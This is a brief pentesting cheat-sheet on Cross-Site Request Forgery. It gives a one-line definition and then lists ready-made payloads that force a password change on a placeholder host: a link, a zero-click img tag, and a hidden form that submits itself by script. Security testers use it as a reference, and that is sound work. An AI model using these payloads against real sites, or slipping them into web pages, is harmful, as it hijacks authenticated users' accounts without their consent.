CSRF (Cross Site Request Forgery)

Cross-Site Request Forgery (CSRF) is a vulnerability where an attacker tricks a user into unknowingly executing actions on a web application that they are authenticated to, leading to unauthorized actions being performed without the user's consent or knowledge.

Payloads

GET

# Requires user interaction
<a href="http://<host>/changepasswd.php?pass=pass">Click Me</a>

# No user interaction required
<img src="http://<host>/changepasswd.php?pass=pass">

POST

<form id="form" action="http://<host>/changepasswd.php" method="POST">
 <input name="pass" type="hidden" value="pass" />
 <input type="submit" value="Submit" />
</form>

<-- Auto submit -->
<script>
 document.getElementById("form").submit();
</script>

References

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection https://book.hacktricks.xyz/pentesting-web/csrf-cross-site-request-forgery

Last updated